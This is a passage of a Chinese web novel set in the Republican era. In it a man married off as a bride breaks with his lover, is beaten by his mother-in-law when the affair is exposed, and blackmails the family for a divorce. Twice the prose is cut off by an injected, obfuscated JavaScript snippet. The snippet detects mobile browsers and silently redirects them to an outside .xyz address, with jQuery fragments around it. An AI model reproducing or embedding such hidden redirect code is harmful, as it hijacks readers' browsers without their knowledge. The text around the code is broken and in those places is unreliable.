张靖遥哑然,半晌,他问张夫人,说:“九娘……他真的是女人吗?嫁给我之前,在许家那十几年里,他真的是许九娘?” 张夫人愣了下,没想到他会问出这话,可那于她而言根本不重要,许九娘嫁进张家,本就是为了生孩子,他此前是男人还是女人都无关紧要,他是许九娘,也只会是许九娘。张夫人嗔道:“你这傻孩子,九娘不是姑娘,还能是什么?你自己房里的人,是男人还是女人你不知道?” 张靖遥讷讷不言。 张夫人说:“好了,既然你都这么说了,娘不逼她就是。” 不逼她,不是不想——张靖遥觉得这好像是一个无解的局,他当初为了子嗣娶了许九娘,若是许九娘怀不上孩子,他爹娘未必能容下她。张靖遥心头一阵无力,他实在厌倦了如同木偶一般被操控,半点不由自己,有那么一瞬间他想,不如离开张家——这个念头太危险,太离经叛道,一经浮现,就让张靖遥心惊肉跳,不敢再想。 这何止离经叛道,简直是大不孝! 张靖遥不知要和许明意谈什么,更低不下头,偏许明意也不再如以往,会小心翼翼地靠近他。二人这般不尴不尬的,张靖遥想低头,偏看见许明意冷淡的神情,又无法再开口。 许明意来了才知道李家今日设宴为的是阎玉山,他脑中浮现在街上匆匆看过一眼的军阀,那张侧脸如刀削就,棱角分明,冷厉不好相与。 阎玉山今年约莫三十来岁,阎家是江南富商,颇有些根基。成过亲,可惜夫人早逝,听闻留下了一个孩子养在江南。早些年清廷尚在,阎玉山就读于武备学堂,后来就从了军,今日能割据一方,靠的都是自己一枪一炮打出的军功,人称活阎王。 今日宴上请了四九城的当红花旦付邻春登台唱戏,正戏还未开始,许明意佐着戏台上热场的咿咿呀呀的声,听座上的女客你一言我一语地谈起阎玉山。她们不喜欢战场上的血腥,聊的自也是风月,说起阎玉山,说的大都是他妻子早逝,阎玉山这些年竟也不曾再续过弦。 有人道:“听说阎大帅原配留下的那个儿子身子还不好,这么一瞧,阎大帅倒真是对他那个夫人情深义重。” 一人又道:“阎玉山这一来四九城,四九城里想和他攀亲的人海了去,说不定过几日就有喜讯了。” “喜讯约莫是没有了,”一人家中是军政部的,知道得多些,神秘兮兮道,“听闻阎大帅很快就要回虞城了。” “这么快?” 她压低了声音,小声道:“听闻是虞城出了变故。” “啧,”一人掩着嘴唇笑道,“阎大帅来了四九城,虞城群龙无首,可不让人惦记吗?” “行了,这些男人的事有什么好说的,扫兴。” …… 许明意百无聊赖地听着,突然,他察觉一道如有实质的视线落在他身上,存在感十足,偏头看去,却是一愣,他竟看见了闻鹤来。 闻鹤来今日也穿了西装,打扮正式,和以往的随性全不相同,在这纸醉金迷里,俨然哪家的少爷,不似个戏子。闻鹤来正直勾勾地盯着他看,许明意心中一紧,无意识地抓了下张靖遥的衣角,张靖遥察觉了,低头看着他,眼神询问。 他二人一个低头,一个抬起脸,显得很是亲昵。 闻鹤来捏紧了手中的酒杯,他没想到会在今日的宴会上看见张靖遥和许明意。细细一想,也在情理之中,张家颇有清名,张靖遥来,带着他的妻子,也理所应当。可当二人出双入对的身影撞入闻鹤来眼瞳,他不可遏制地生出了几分不虞。 许明意到底是张靖遥的妻子。 许明意抿紧嘴唇,摇了摇头,神经却紧绷起来,“没什么。” 今日的宴会设在李家偌大的后花园里,苑里亮堂堂的,宾客多,却不显得拥挤。许明意和闻鹤来隔了丈远,闻鹤来口中和别人说着话,眼神却错过对方肩头,有意无意地落在许明意脸上。 许明意垂着眼睛,不敢和闻鹤来对视,他曾问过闻鹤来,如果他要离开四九城,愿不愿意带他走——闻鹤来没有回答。 其实在这种事上,没有回答就是回答,闻鹤来不愿意,他嘴上甜言蜜语再过真切,他也不曾和他想过以后。既然不曾想过,为什么又要一再地撩拨他? 许明意袖中的手指攥紧了,突然,他探出了袖口,牵住了张靖遥的手。张靖遥正和一个朋友说着话,冷不丁的,几根微凉的手指握了上来,他心跳了跳,和对方寒暄了两句便作了别。他低头看着二人相牵的手,恍惚了一下,这还是……许明意第一次牵他的手。 以前许明意也只会小心地牵他的衣袖。 手指相交,张靖遥耳朵竟有些发烫,他低声问许明意,说:“怎么了?” 许明意道:“我有些饿了。” 二人来时不曾用过膳,张靖遥看向长桌上的点心,道:“我给你拿些点心。” 许明意:“嗯。” 张靖遥要去给许明意拿点心,松手时,他迟疑了一下,细长的手指自掌中滑开,没有留恋片刻,徒留下微凉的触感。他看了眼许明意,这才转过身,他没瞧见,他转身的瞬间,许明意抬起眼睛,看向了对面的闻鹤来。 二人目光对了个正着。 二人目光对视了一瞬,许明意便转了开去,闻鹤来看着他和张靖遥如同一对恩爱的年轻夫妻一般,心头蹿起的那股子无名火愈烧愈旺。 有那么一瞬间,闻鹤来觉得他和许明意之间发生的一切如同一场幻梦,戏台、古刹、隐晦的偷欢,情到浓时泣泪地问他,喜不喜欢他……那些缱绻缠绵都不是真的。许明意是张家的大少奶奶,他闻鹤来只是闻鹤来,和许明意那见不得光的私情根本就未曾发生过。 嫉妒、恼怒都在胸腔里沸腾,闻鹤来几乎就想过去,攥着许明意的手将他狠狠自张靖遥面前扯开。可旋即,许明意那句话又浮在他耳边——闻鹤来,若是有一日你要离开四九城,你会带我走吗? 闻鹤来窒了窒,在那一刻他仿佛明白了许明意的意思,他不带他走,他们如今便是最好的收场。他还是张家大少奶奶,张家大少奶奶和闻鹤来,无论是闻老板还是闻少爷,都只会是过客。 他果然是小瞧了许明意。 闻鹤来突然想,许明意在他面前和张靖遥做戏,是不是想逼他一把?他心里……其实还是有他的。 明意想跟他走。素来都是拿捏别人的闻鹤来再一次清晰地发觉他看不透许明意的心,许明意若是心里当真有他,又怎能如此冷静地和张靖遥做戏? 台下人心浮动,不觉间,台上正戏也已开场。 今日登台的是付邻春,他唱的是一出《游园惊梦》,台上付邻春扮的杜丽娘一上场,就赢得了满堂彩。许明意抬头远远地看向戏台,付邻春的扮相是当真漂亮,雌雄莫辨,贵妃雍容,丽娘秀美,唱起伤春的幽幽凄凄来,也分外触动人心。 他偏头看向张靖遥,张靖遥正怔怔地看着戏台。张靖遥和付邻春相交二三载,看过不知多少出付邻春的戏,听他的戏似乎已经成为一种本能。即便当初付邻春说过他的戏,张靖遥不必再捧场,可他一亮嗓,张靖遥还是忍不住看了过去。 许明意冷眼旁观,牵了牵唇角,大抵是早有所料,心中竟毫无波澜。张靖遥心里还是惦记付邻春罢,越是得不到,便越是念念不忘,人都如此。他不过是张靖遥的退而求其次,是他的认命,是无可奈何之下的二选。 台上在唱:“剪不断,理还乱,闷无端……已吩咐催花莺燕借春看……”在一片掌声里,张靖遥猛地回过神,不知怎的,心里竟隐隐有些发虚,他转过头,就见许明意也看着戏台,似乎在很认真地听戏。张靖遥松了口气,就听许明意道:“大少爷,我出去一会儿。” 张靖遥低声叫了句:“九娘……” 许明意转过头,看着他,神色如常,说:“妆花了,我去补个妆。” 张靖遥道:“我陪你去。” 许明意笑了一下,轻声说:“不必了,错过这样好的戏,多可惜。” 张靖遥嘴唇微动,想解释,可又不知从何说起,许明意却已经转过身慢慢走了。 许明意鲜少在外头补妆,净手,他和张靖遥说补妆,不过是随意寻个出来的借口。虽不在意,可也不想看张靖遥盯着台上看的模样,好似台上台下一对苦命鸳鸯,他多余又可恶,实在是令人恶心。 李公馆占地广,苑内花木扶疏,景色宜人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887523|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月是圆月,挂在树梢洒下清辉,一派皎洁。 四下无人,戏台上的乐声都变得渺茫悠远,飘飘荡荡的,许明意看着前头池子里,夜色黑,隐约可见靠岸的几蓬荷花已经败了,仅剩了些枯枝残叶,没过多久约莫就要被拔出。他看着那黑黢黢的残荷,恍了神,花有枯荣,来年盛开又是一景,这是花的归宿,他呢? 他最终会去往何处? 打伤青羊之后的那个晚上,许明意做了一宿的噩梦,梦中都是淋漓的鲜血。一会儿是青羊来寻仇,一会儿又是张家二老阴森的面容,他和闻鹤来的私情也见了光,张靖遥愤怒地怒斥他,恍惚间他成了幼时见过的那个偷人的姨娘,一条长长的白绫被套在了他的脖子上。 张家人怒骂他不贞,□□□□,丢了张家的脸面,百死难赎其罪,白绫不断勒紧,他在窒息中挣扎,可没有人会救他。 那个噩梦太过真实,让许明意战战兢兢,辗转难眠。从前他想,其实死了也没什么,这世上没人想他活着,也没什么值得他眷恋。可现在,许明意却生出了不甘,他不想就这么无声无息地死——他要活着,让那些瞧不上他的,憎恶他的,都如鲠在喉。 许明意出神地看着粼粼的水面,突然,轻轻的脚步声靠近,他转过脸,就看见了闻鹤来。 许明意开口叫了声:“闻老板,”微微颔首,抬腿就要走,擦肩将过时却被闻鹤来握住了手臂,“明意。” 许明意眉梢微扬,慢慢垂下眼睛,看着闻鹤来的手,道:“闻老板,请自重。” 闻鹤来几乎被他气笑了,他压低了声音,道:“自重,如今你和我说自重?当初和我私会时怎么不知自重?” 许明意不为所动,瞧着闻鹤来,点头道:“那时是我错了。” 他痛快地认了,反倒让闻鹤来梗了梗,紧紧掐着许明意的手腕,说:“明意,你这是当真要和我一刀两断?” “放手,留下痕迹我不好和我丈夫解释,”许明意不咸不淡地提醒他,说,“这不是闻老板想要的吗?一刀两断,两不相干。” 闻鹤来沉沉地盯着许明意,一言不发。 许明意和他对视着,轻轻一笑,道:“婊子无情戏子无义,闻老板,当初是我不懂事,如今明白了,多谢教导。” “许明意!”闻鹤来咬牙切齿,他气得要命,许明意说:“你我相识本就是个错,如今悬崖勒马,为时未晚。” 闻鹤来道:“晚了!” “许明意,”闻鹤来说,“你以为你退回去做张家大少奶奶,一切便能当做没发生过?” 许明意抬起眼睛,说:“闻老板,这不是你想要的吗?” “一切当做没发生过,你做你的闻老板,闻少爷,我做回我的张家大少奶奶,一切回归正轨。你且放心,我许明意玩得起,不会寻死觅活地纠缠你,咱们好聚好散。” 闻鹤来听着他说的不会纠缠,这是最好的收场,可他不甘心,更不愿意,许明意怎么能当做一切都没有发生过?他深深地吐出一口气,竭力挽回了几分理智,说:“明意,如果我说,我愿意带你走呢?” 许明意一愣,哂笑道:“你凭什么带我走?你又能带我去哪儿?” 闻鹤来深深地看着许明意,说:“江淮。” “只要你愿意,我便带你一起回江淮,”闻鹤来道,“我和你说过,我是幼时碰上拍花子才流落的四九城,我是江淮人。” 许明意面上的笑意慢慢消失了,他看着闻鹤来,二人四目相对,闻鹤来神情认真,和曾经对他说甜言蜜语时一般无二。 许明意淡淡道:“去了江淮之后呢?” 闻鹤来哑然。 许明意说:“嫁给你?还是做你藏在外头的金丝雀儿?” “闻鹤来,你只是不甘心,”许明意道,“不甘心被拒绝,不甘心我先抽身。” “你根本从来没有想过和我会有以后,你当初引诱我,图的便是一时风月,哪日玩腻了,就拂袖而去,”许明意看着闻鹤来,“你别忘了,我出身许家,也曾是个男人,这种把戏,我在许家看我几个哥哥玩儿看多了。” 闻鹤来神情僵住,这是头一遭,有人在他面前直接揭露他那副多情风流之下的无情卑劣,言辞之冷漠,几乎让闻鹤来不敢看许明意。 闻鹤来轻声说:“你既然知道,可你还是——” “是啊,我知道,可我还是上钩了,”许明意道,“所以我并不恨你。” “你给不了我要的,那便算了吧。” 许明意说完,拨开了闻鹤来的手,不再看他,抬步慢慢走了。不过几步,他突然听见闻鹤来叫住他,“明意。” “是,我的确不曾想过和你有以后,那是因为我从来不曾想过会喜欢你,”闻鹤来道,“可我喜欢你。” 许明意没回头,道:“喜欢……” 他说:“你的喜欢,太浅薄了。” 岸边的八角亭里,一个摇着小扇的妇人瞧着远处的两个人影,借着月光,她看清了当中一人的脸,惊咦了一声,问身边伺候的下人,道:“你瞧,那是不是张家的少奶奶?” 下人伸着脖子看了看,正好瞧见那个高个儿的男人抓着许明意的手臂,她小心道:“好像是……” 主仆对视一眼,贵妇玩味地一笑,道:“今儿这戏,可真精彩啊。” 20. 第 20 章 赴过李司长的宴,许明意的生活重又恢复了平静,他并不后悔直接拒绝了闻鹤来。如闻鹤来一般的浪荡子,说得再情真意切,也不过能信个两三分,就算他当真喜欢自己,许明意想,能有多喜欢?又会喜欢多久?许明意不想再试探人心。 索性一刀两断。 不过那日闻鹤来说的那句话,倒是给许明意提了一个醒,他及时收手,便能退回去,当做一切没有发生过吗? 许明意也不想再若无其事地做张家大少奶奶。 盛夏的酷暑渐渐过去,秋意已来,这一日,正是个秋高气爽的晴天,许明意转过回廊,突然听见廊下的假山后传来红玉和申嬷嬷的交谈声,二人压得低,怕被人听见似的。 红玉说:“……嬷嬷这可怎么办,我今日在厨房里偷偷听见夫人房里的桂香姐姐说,大少奶奶不详,是天上的恶罗刹转世,命格硬,生来就是克亲克夫的。要是咱们少奶奶还留在张家,莫说子嗣了,张家都要大难临头。” 申嬷嬷低声道:“胡说八道,这是谁在乱嚼舌根?” 红玉道:“听说是青羊观里的仙师说的,仙师因为给少奶奶做法事,还大病了一场呢。” 申嬷嬷眉毛紧拧,道:“大少奶奶好好的人,怎么会是什么恶罗刹转世,分明是那仙师胡言乱语!” 红玉有些发慌,道:“嬷嬷,我听桂香姐姐话里的意思,夫人信了呢,我们怎么办才好?” “大少奶奶迟迟未有子嗣,太太本就不高兴了,又有这个谣言,你说太太会不会把少奶奶赶出去?” 申嬷嬷早看得分明,什么恶罗刹转世都不足道,最要紧的是许明意没有怀孕,张家要的是孩子。现在许明意不但怀不上孩子,还让大少爷因着他顶撞张夫人,母子离心,张家本就是不得已才让许明意过门,二老都不喜欢他,这桩桩件件加起来,只怕未必能容得下许明意。 申嬷嬷没什么底气地说:“大少奶奶好歹是张家明媒正娶,娶进门的,怎能说休就休,何况,大少爷和大少奶奶感情正好……” 这话说出来,就是自己也不信,明媒正娶也能休弃,许家都能让许明意“暴毙”变成许九娘,他没有娘家撑腰,就是张家真要休了许明意,许明意也不能如何,没人会为他鸣不平。 张靖遥又当真会为许明意撑腰,能为他撑腰吗? 红玉小声说:“嬷嬷,万一,万一大少奶奶被赶出去……咱们怎么办?” 申嬷嬷冷声道:“少说丧气话!” 红玉咬了咬嘴唇,不吭声了,申嬷嬷眼珠却转了转,似在思索着什么。不多时,她打发了红玉走,红玉临行前,轻声问她:“嬷嬷,你说大少奶奶会不会真的是恶罗刹转世……” 申嬷嬷瞪了她一眼,红玉悻悻地止住了话,待她走后,申嬷嬷刚转头,就见许明意站在树下的阴影里静静地看着她,当即骇得脸色一白,叫了声:“大少奶奶。” 自打被许明意敲打过一回,申嬷嬷就莫名地有些怵他。许明意看着申嬷嬷,没有说话,申嬷嬷被他看得头皮发麻,心里惴惴不安,不知刚才红玉说的话他听到了多少…… 过了许久,许明意才道:“嬷嬷,我要出去一趟。” 申嬷嬷下意识地想问他出去做什么,可话到嘴边又咽了下去,应了声是,许明意突然想起什么,摘了手腕的翡翠镯子,递给申嬷嬷。申嬷嬷抬起脸,惊疑不定地看着他,许明意说:“天气转凉了,嬷嬷去做两件新衣裳吧。” 申嬷嬷瞧着那个成色上佳的手镯,双手接了过去,赔笑道:“多谢大少奶奶赏。” 许明意深深地看着她,若有若无地笑了一下,见申嬷嬷又垂下了头,方缓缓走了出去。 青羊没死,甚至还想报复自己,许明意并不意外,只是有些遗憾,当初下手还是轻了。 兴许是因着青羊那套说辞,许明意总觉得近日张夫人看自己的眼神愈发古怪,似在权衡,又带了几分审视的意味。许明意全做不知,他知道张夫人在考量,到底该不该将自己留在张家。 没想到,那一日,来得远比他所想得来得早,来得激烈。 那日,是个阴雨天,一场秋雨将天地收入其中,灰蒙蒙的,带了几分北地独有的凉意。许明意正在屋中看书,就见张夫人身边的嬷嬷带着几个下人冲了过来,为首的嬷嬷面色冷漠,道:“大少奶奶,夫人有请。” 一道紫电劈下,轰隆隆的雷声紧撵而来,许明意看着眼前的这几人,脑子里突然浮现了四个字——来者不善,是张夫人终于决定要让张靖遥休了他吗?可如今张靖遥不在府上,此前也从未听他提起,他娘想让他休了自己……就是想休了自己,也不必如此气势汹汹。 许明意心里有些不安,面上却没有露出分毫,他看了眼一旁噤若寒蝉的申嬷嬷,申嬷嬷看着他,到底是有阅历的老嬷嬷,竟也稳住了神色,问道:“下着雨呢,不知夫人这么急地找少奶奶过去有什么事?” 那嬷嬷道:“莫说下雨,便是下刀子,大少奶奶也得跟咱们走一趟。” “申嬷嬷,”许明意开了口,又看向那嬷嬷道:“娘寻我,我走一趟便是。” 申嬷嬷看着许明意跟着那几人走远,回想起许明意看她的那个眼神,咬了咬牙,对红玉道:“快,去找大少爷!” 红玉六神无主:“……嬷嬷。” 申嬷嬷斥道:“去啊!” 红玉忙道:“我这就去,这就去……” 张夫人的院子,许明意不是头一回来,他甫嫁入张家时,每日都要来给张太太请安。雨下得大了,秋雨斜飞如廊下,衣上也浮现了几分湿意,许明意抹去了脸上的细雨,看着那笼罩在灰蒙蒙之中的屋宇,轰隆隆的惊雷声绵延不绝,徒添了些诡谲可怖。 许明意走进去时,张夫人就坐在主位上,神情莫测地看着慢慢走来的许明意。许明意看着那端庄雍容的妇人,如常地福身行了礼,叫了声:“娘。” 张夫人没有说话,只是静静地看着他,那眼神让许明意如芒在背,仿佛被毒蛇盯上了,脊背不由得绷紧,唇角抿着。二人对视了须臾,张夫人轻声说:“九娘,张家待你不薄啊。” 只这一句话,顿时就让许明意明白了今天唱的是哪一出——暴露了!他和闻鹤来的私情,到底是被人知道了。 那一刻,许明意悬着的心竟一下子落了下来,意外的平静,他轻声说:“娘这是什么意思,我不明白。” 张夫人眼神一冷,竟轻轻地笑了,说:“不明白?起初有人和我说你和男人私会的时候,我还不信,你素来乖巧听话,怎么敢干出这样的事?可兹事体大,我便让人去查了查——” “许九娘,你好大的胆子!”张夫人一巴掌拍在桌上,“六月廿二,七月初一,七月初六……这些日子,你都去了哪儿?” “七月十九,你道你去普安寺上香,可我让人去问过了,你根本没有去过普安寺!” 许明意没想打张夫人竟将他那些日子的行踪都查得清清楚楚,这是有备而来,已经笃定了他和人私通。也对,许明意想,他到底是张家的大少奶奶,“深闺妇人”,只要有心去查,总能查出古怪。 许明意没有说话,张夫人道:“还不跪下!” 他不动,左右的粗壮仆妇当即上前,往许明意腿上踢了一脚,要将他按下去。许明意自不愿下跪,可抵不住几个家丁抓住了他的手臂,膝窝一痛,许明意再站不住,扑通一声膝盖重重砸在地上。他闷哼了声,抬起眼睛,看着张夫人,冷笑一声,道:“是,我没去普安寺,我还给张靖遥戴了好大一顶绿帽子呢。” 他这句话顿时就将张夫人激怒了,手指指着他,骂道:“不知羞耻!” “贱人,”张夫人胸口微微起伏,说,“和你私通的那个奸夫,是谁?” 许明意笑了,说:“夫人不是查了吗?没查出来?” 张夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887524|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴郁地盯着许明意,告诉她许明意在李公馆和男人私通的是程太太,张夫人在外头素来与人为善,和程太太有几分交情。那天她突然有意无意地提起那日瞧见一对野鸳鸯,当中一人有些像许九娘时,张夫人都愣住了,可程太太并未瞧清那个奸夫的真面容。 张夫人疑心重,便是她随口一句,她也不会放过,可查来查去,便是许明意去过几回太平茶楼。 太平茶楼——她想,闻鹤来?此人荤素不忌,是个风流的主儿,张夫人沉沉道:“那个戏子?”她厌恶极了唱戏的戏子,张靖遥和戏子纠缠不清,如今许明意竟敢私通戏子,给张家抹黑,她气得恨不能剐了许明意。 许明意扬起头,看着张夫人,疑惑道:“哪个戏子?”他又笑了声,说,“其实奸夫是谁不重要,夫人不是想要孩子吗?张靖遥没能让我怀上,那我便只能多找几个,只可惜——” 张夫人险些叫他这话气得一个仰倒,啪的一记耳光声响起,却是张夫人身边的仆妇伸手掴了许明意一记重重的巴掌。那仆妇做惯了粗活儿,手劲大,许明意嘴中尝着了血腥味儿,脸颊火辣辣的。 张夫人捂着胸口,手指尖发颤,道:“打!直接打死!” 许明意吐出一口血沫子,他抬起头盯着张夫人,冷笑道:“你最好打死我,打死我,张靖遥的名声也不要了,我拖着他一起死!” 张夫人愤怒难消,左右家丁已经拿了手腕粗的棍棒来,将许明意抵在地上,抬手一棍就狠狠砸了下去。许明意咬住牙,身体却控制不住地哆嗦了一下,他冷汗涔涔,那双眼睛却亮得惊人,如出鞘的刀,能杀人。张夫人对上他的眼神,无端地想起他那句话,冷冷道:“给我接着打!” “不守妇道的贱人,就是活活打死也是理所应当!” 许明意又吃了几棍,眼前发黑,他喘着气,道:“我一条烂命,能赔上你们张家的官途,名声,呵,值当!” 张夫人盯着许明意,到底恢复了几分理智,抬起手止住要打下去的棍棒,道:“你什么意思?” 许明意趴在地上,狼狈不堪,乌黑的发髻也散乱了,他吃力地抬起头,看着张夫人,轻声说:“张夫人,您说外头是喜欢听出身清贵门庭的张家大少爷是个痴恋戏子的断袖,还是喜欢听张家为了留香火,竟行买妻之事,买的还是一个不男不女的二椅子的话本?” “啊,”许明意笑了一下,道,“张家大少奶奶偷人的戏码,好像也很是不错。” 将将冒雨跑到门口的张靖遥呼吸一窒,惊雷声猛地在耳边炸响,他脸色惨白,几乎以为他听错了,脚步都迟滞了。 张夫人面色骤变,道:“你做了什么!” 许明意轻轻吐出口气,说:“没什么,只是写了几份话本子留在外头而已。” 他说:“我要是死了,这几份话本子就会见报,传遍四九城。” 张夫人阴晴不定地盯着许明意,半晌,嗤笑了一声,道:“你以为我会信?这是四九城,谁敢说你的话本子,又有哪家报社敢刊登!” 许明意微微一笑,甚至有几分畸形的快意,道:“夫人忘了吗?有钱能使鬼推磨,就像——”他顿了顿,看着张夫人,“你们张家从津门将我买来一般。” “高门大户的逸闻,谁不喜欢听呢。” 张夫人听着他轻飘飘的语气,死死地盯着许明意,说:“你敢!” 许明意道:“我有什么不敢的?我都要死了。” “你将此事捅出去,你以为你还能立足?!许家的脸面也不要了?!” 许明意哂笑一声,却不想再回答这话,张夫人盯着许明意看了许久,抬脚踩在他的手指上,看着许明意额头冒出的冷汗,她道:“几句空话,你以为能唬住我?” “给我打!”张夫人道,“往死里打!” 眼见一记木棒就要落下,一只手伸出攥住了那根腕粗的棒子,是张靖遥:“住手!” 21. 第 21 章 张靖遥出现得突然,张夫人一愣,看着他,拧起细眉:“靖遥,你怎么回来了?” 雨下得大,张靖遥浑身都湿透了,他垂下眼睛看着被棍棒抵在地上的许明意,开了口:“别打了。” 张夫人道:“这些事你不要管,衣服都湿了,先去换身衣服,当心染了风寒。”她身旁的嬷嬷知机劝张靖遥,想让他先离开,张靖遥深深地吸了口气,道:“我的妻子偷人,我不该知道吗?” 张夫人哑然。 张靖遥慢慢蹲下身,看着许明意,说:“你刚刚说的,都是真的?” 许明意抬起眼睛看着张靖遥,男人头发都湿了,不复以往的衣冠楚楚,透着股子狼狈,他唇角一扬,扯出几分凉凉的笑意,说:“是啊。” “真的。” 张靖遥面色紧绷,几乎就想一记耳光扇过去,忍了又忍,呼吸却不可遏制地急促起来,道:“是谁?” “重要吗?”许明意脸颊红肿,鬓发散乱,那双眼睛却璀璨如寒星,很有几分咄咄逼人的冷冽,张靖遥从未见过他如此锋芒毕露过,一时间心神都似被慑住了,只觉得自己好像从来都不认识自己的妻子,这个同床共榻的枕边人。 张靖遥咬牙切齿道:“当然重要!” 许明意笑了,说:“是谁有什么紧要呢?只要能让我开心,我喜欢,我愿意,哪个男人都无所谓,都比你——张靖遥张大少爷强。” 啪——是巴掌落在脸颊的声音,许明意嘴角登时就见了血,他匍匐在地上,却兀自笑了起来,笑声疯癫又嘲讽。 那一巴掌似也将张靖遥惊醒,他目光缓缓下移,落在微微发颤的手上,又看向许明意。外头雷鸣声不绝,雨声淅沥,潮湿冰凉的水汽钻了进来,仿佛这成了一个森寒阴郁的梦。 张夫人也愣了一下,她伸手拉张靖遥,道:“好了,为这么一个贱人大动肝火不值得,一切自有娘来处置。” 张靖遥却拂开了张夫人的手,他没看他母亲,只是直直地盯着许明意,说:“为什么?” 许明意止住笑,抬手蹭了蹭自己发烫的脸颊,慢吞吞地自地上坐了起来,他看着张靖遥,自顾自地说:“为什么啊……这说来就话长了。” 大抵是已经图穷匕见,鱼死网破,许明意竟有种血淋淋的快意。许家卖了他,张家上下没有人将他当做一个寻常的人,许明意每一日都过得惴惴不安,惶恐卑懦,他竭力讨好张夫人,讨好张靖遥,以此来换一条生路,想让自己过得好些。 慢慢的,他被雕琢成了一个险些连自己都认不出的人。 有时他都忘了他是许明意,不是许九娘。 许明意淡色的眼珠一错不错地盯着张靖遥,半晌,他摇摇头,道:“你不会明白的。” “张靖遥,我要和离。” 这几个字铿锵有力,一出口,屋中的人都愣住了。张夫人生生气笑了,说:“和离?做你的春秋大梦!” “就凭你私通戏子,你就该千刀万剐!”张夫人气得要命,冷笑道,“还做梦和离?你也配!” 许明意看着她,微微一笑,道:“夫人杀了我,张靖遥也会沦为四九城的笑柄。我的生死不足道,张家的清名,令郎的前途,可就都没了。” 张夫人恨极了许明意竟敢算计他们,还拿张家的清名相威胁,如此一个小卒——张家本就是官宦人家,将脸面看得比一切都重要,否则当初也不会死死压着不让张靖遥娶付邻春,更费尽心思,为他弄来了一个许明意。 偏偏就是这么一个人,给张家,给张靖遥抹黑之后,还想全身而退,张夫人如何能允?她阴森森道:“你当真是不知死活——” 许明意说:“夫人说错了,我正是想活,才不得不如此。” “夫人高抬贵手,放我离开四九城,那几个话本子就不会被人知道,张家依旧是清名在外的张家,”许明意道,“我只想要一条生路。” “等我离开四九城,夫人大可如许家一般对外宣传我已经死了,将这些事抹得干干净净。” 张靖遥看着许明意和他母亲谈判,仿佛在看一出荒谬绝伦的戏,偏偏这再真实不过——一时间,他竟不知是许明意和人私通还是要和他和离更让人震惊。面前的许明意带了伤,狼狈地坐在地上,平静又冷漠,甚至带着几分不顾一切的从容。 张靖遥麻木地想,到底是他疯了,还是许明意疯了。 张夫人阴晴不定地盯着许明意,许明意突然想起什么,看着张夫人,道:“张夫人,我和张靖遥成婚大半年,至今未孕,难道你不曾想过,也许是我根本就怀不了孕。” 张夫人神色微动。 许明意道:“许家和你们保证过我定能怀孕吧,”他嗤笑了声,说,“骗你们的,他们都不曾正眼看过我,哪里知道我能不能生?” “张家要一个不能延续香火的大少奶奶做什么,是吧,张夫人,”许明意鲜少在张家人面前如此口舌伶俐过,有那么一刹那,张夫人几乎要被他说动,当真认为放许明意离开,对张家有利无害。 许明意道:“我只想要离开,我能发誓,我离开,那些事我绝不会再对人言。” 突然,一直沉默的张靖遥开了口,说:“那些事,什么事?” 他反问许明意,许明意一怔,张靖遥面无表情道:“我不会答应和离。” 许明意神情微僵,目光和张靖遥对上,脸色也沉了下来,他嘲弄地勾了勾嘴角,“张大少爷舍不得我啊?” “真可惜,”许明意说,“我恨透你了。” 张靖遥脸色一白。 许明意却快意得很,他道:“你问我为什么?张靖遥,你有什么值得我对你一心一意的?” “其实我曾经很怕你,张家大少爷,我的丈夫,他们都警告我,以后我是女人了,嫁你为妻之后便要以你为天,要取悦你,讨你欢喜。我想活下去,所以我战战兢兢地讨好你,”许明意说,“可你折辱我,践踏我,在你眼里,我从来不是一个活生生的人,是器物,是污点,是你踩在脚下,助你接近你意中人的通天梯。” 张靖遥怔怔地看着许明意,嘴唇翕动,想说他没有折辱许明意,没有将许明意视为器物,可话到嘴边,却如何也说不出口。 许明意说的都是事实,无从反驳。 他当初,的确不曾好好对过许明意,张靖遥想说,可他如今——想和许明意好好地过下去,没有旁人,不为子嗣……看着许明意眼中不加掩饰的恨意,竟让张靖遥似遭了一记重击,失了所有言辞。 许明意看着张靖遥,扯了扯嘴角,道:“后来我突然想明白了,你有什么可怕的?” “只有懦弱者,才会对弱者发泄自己的无能,”许明意嘲道,“你不会当真以为我生下孩子,你爹娘便会成全你和付邻春吧?真可怜啊,张靖遥,你不过是一个天真又可笑的懦夫——” 他话没说完,张夫人已尖声呵斥道:“闭嘴!” “许九娘,你休想在这挑拨离间!” 许明意冷笑了声,他看着张靖遥,无所谓道:“你不想和离那便不和离吧,我还是张家大少奶奶,可我还是会想别的男人,你最好能将我断手断脚地留在张家,否则我说不定还要给你戴绿帽子。”他说着,竟笑了起来,他道,“啊,说不定哪天我忍受不下去了——” 许明意殷红的嘴唇轻轻吐出几个字,道:“我就杀了你。” 这句话一出,屋中空气都凝滞了,透着死一般的寂静。 张夫人喃喃道:“……你疯了,许九娘,你真是疯了!” 许明意道:“蒙贵府所赐。” “夫人,要赌吗?” 张夫人看着他从容笃定的模样,顿时也有些拿不定主意,许明意一条贱命不足惜,可她不敢拿张家的声誉来赌。 突然,外头传来动静,竟是张老爷回来了,他缓缓踱入屋内,居高临下地看了许明意一会儿,道:“把人关起来。” 张靖遥抬起头,叫了声,“爹!” “你闭嘴!”张老爷怒不可遏,指着张靖遥,“逆子,都是你惹出来的事!” “你若肯老老实实娶一个女人,哪里还会有这些事!” 